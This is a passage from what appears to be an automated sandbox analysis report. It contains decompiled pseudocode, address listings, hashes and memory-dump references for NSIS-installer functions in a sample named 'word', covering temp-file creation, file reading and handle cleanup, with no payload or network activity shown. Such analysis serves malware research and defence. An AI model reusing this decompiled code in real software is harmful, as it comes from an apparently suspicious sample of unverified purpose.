								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406bc0
0x00406bc7
0x00406bcd
0x00406bd3
0x00000000
0x00406bd7
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bf9
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c0e
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c59
0x00406c5c
0x00406c84
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c5e
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c76
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406ccd
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd2
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cef
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d35
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073dd
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x00407413
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743b
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406dcf
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x004075e5
0x004075eb
0x004075ed
0x004075f4
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000

Strings

248058040134, xrefs: 00406BBA

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID: 248058040134
API String ID: 0-1212554544
Opcode ID: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction ID: 41bbaa2e3590000dceee7c9791d291245bc26db239967492cd44d063337b5de0
Opcode Fuzzy Hash: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction Fuzzy Hash: 3E814831D08228DBEF28CFA8C8447ADBBB1FF44305F14816AD856B7281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406187 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406187(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a5ac; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x0040618d
0x00406193
0x00406194
0x00406194
0x00406199
0x0040619a
0x0040619d
0x004061a2
0x004061a5
0x004061af
0x004061bc
0x004061c0
0x004061c8
0x00000000
0x00000000
0x004061cc
0x00000000
0x004061ce
0x004061ce
0x004061ce
0x004061d1
0x004061d4
0x004061d4
0x004061d7
0x00000000

APIs

GetTickCount.KERNEL32(7556D4C4,C:\Users\user\AppData\Local\Temp\,?,?,?,0040363E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 004061A5
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040363E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 004061C0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040618C
nsa, xrefs: 00406194

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4262883142
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: 21b676f9b33da427d45e0b2d6905a63b6509bf3d89a4e990effff8b21c6fdcbe
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: C3F09076700214BFEB008F59DD05E9AB7BCEBA1710F11803AEE05EB180E6B0A9648768

Uniqueness

Uniqueness Score: -1.00%

Function 00403C25 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00403C25() {
				void* _t1;
				void* _t2;
				void* _t4;
				signed int _t11;

				_t1 =  *0x40a018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1); // executed
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0xffffffff
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E00403C82();
				_t4 = E00405D74(_t11, L"C:\\Users\\Albus\\AppData\\Local\\Temp\\nso9272.tmp\\", 7); // executed
				return _t4;
			}

0x00403c25
0x00403c34
0x00403c37
0x00403c39
0x00403c39
0x00403c40
0x00403c48
0x00403c4b
0x00403c4d
0x00403c4d
0x00403c4d
0x00403c54
0x00403c60
0x00403c66

APIs

CloseHandle.KERNELBASE(FFFFFFFF), ref: 00403C37
CloseHandle.KERNEL32(FFFFFFFF), ref: 00403C4B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2A
C:\Users\user\AppData\Local\Temp\nso9272.tmp\, xrefs: 00403C5B

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nso9272.tmp\
API String ID: 2962429428-467655567
Opcode ID: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction ID: ab9e488bef71b432d29da19662b82269d7b8f1628316f3e3d8f7e3aa77a32ace
Opcode Fuzzy Hash: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction Fuzzy Hash: 3BE0863244471496E5246F7DAF4D9853B285F413357248726F178F60F0C7389A9B4A9D

Uniqueness

Uniqueness Score: -1.00%

Function 00403371 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00403371(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t29;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x42a2b8;
					 *0x420ef4 = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E00403479(4);
				if(_t22 >= 0) {
					_t24 = E004061DB( *0x40a01c,  &_a4, 4); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x420ef4 =  *0x420ef4 + 4;
						_t36 = E00403479(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
									_t36 = _v8;
									 *0x420ef4 =  *0x420ef4 + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										_t29 = E004061DB( *0x40a01c, 0x414ef0, _t28); // executed
										if(_t29 == 0) {
											goto L18;
										}
										_t30 = E0040620A(_a8, 0x414ef0, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x420ef4 =  *0x420ef4 + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x00403375
0x0040337e
0x00403387
0x0040338b
0x00403396
0x00403396
0x0040339e
0x004033a5
0x004033b7
0x004033be
0x00403463
0x00403463
0x00000000
0x004033c4
0x004033c7
0x004033d3
0x004033d7
0x00403471
0x00403471
0x004033dd
0x004033e0
0x0040343f
0x00403445
0x00403447
0x00403447
0x00403459
0x00403461
0x00403468
0x0040346b
0x00000000
0x00000000
0x00000000
0x00000000
0x004033e2
0x004033e5
0x00000000
0x004033eb
0x004033f0
0x004033f7
0x004033fa
0x004033fc
0x004033fc
0x00403409
0x0040340c
0x00403413
0x00000000
0x00000000
0x0040341c
0x00403423
0x0040343b
0x00403465
0x00403465
0x00403425
0x00403425
0x00403428
0x0040342b
0x00403431
0x00403437
0x00000000
0x00403439
0x00000000
0x00403439
0x00403437
0x00000000
0x00403423
0x00000000
0x004033f0
0x004033e5
0x004033e0
0x004033d7
0x004033be
0x00403473
0x00403476

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 00403396

Strings

248058040134, xrefs: 004033EB, 00403402, 00403418

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FilePointer
String ID: 248058040134
API String ID: 973152223-1212554544
Opcode ID: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
Instruction ID: 963a71f16df831595788c30304fa9cedbf2cad19eb63879c1ada4fe15c9ed8fa
Opcode Fuzzy Hash: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
Instruction Fuzzy Hash: 93319F70200219EFDB129F65ED84E9A3FA8FF00355B10443AF905EA1A1D778CE51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040603F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E0040603F(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E00406668(0x425f50, _a4);
				_t21 = E00405FE2(0x425f50);
				if(_t21 != 0) {
					E004068EF(_t21);
					if(( *0x42a278 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x425f50 >> 1;
						while(1) {
							_t11 = lstrlenW(0x425f50);
							_push(0x425f50);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E0040699E();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405F83(0x425f50);
								continue;
							} else {
								goto L1;
							}
						}
						E00405F37();
						_t16 = GetFileAttributesW(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x0040604b
0x00406056
0x0040605a
0x00406061
0x0040606d
0x0040607d
0x0040607f
0x00406097
0x00406098
0x0040609f
0x004060a0
0x00000000
0x00000000
0x00406083
0x0040608a
0x00406092
0x00000000
0x00000000
0x00000000
0x00000000
0x0040608a
0x004060a2
0x004060a8
0x00000000
0x004060b6
0x0040606f
0x00406075
0x00000000
0x00000000
0x00000000
0x00000000
0x00406075
0x0040605c
0x00000000

APIs

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 00405FE2: CharNextW.USER32(?), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,7556D4C4,?,755513E0,00405D94,?,7556D4C4,755513E0,00000000), ref: 00406098
GetFileAttributesW.KERNELBASE(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,7556D4C4,?,755513E0,00405D94,?,7556D4C4,755513E0), ref: 004060A8

Strings

P_B, xrefs: 00406045

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

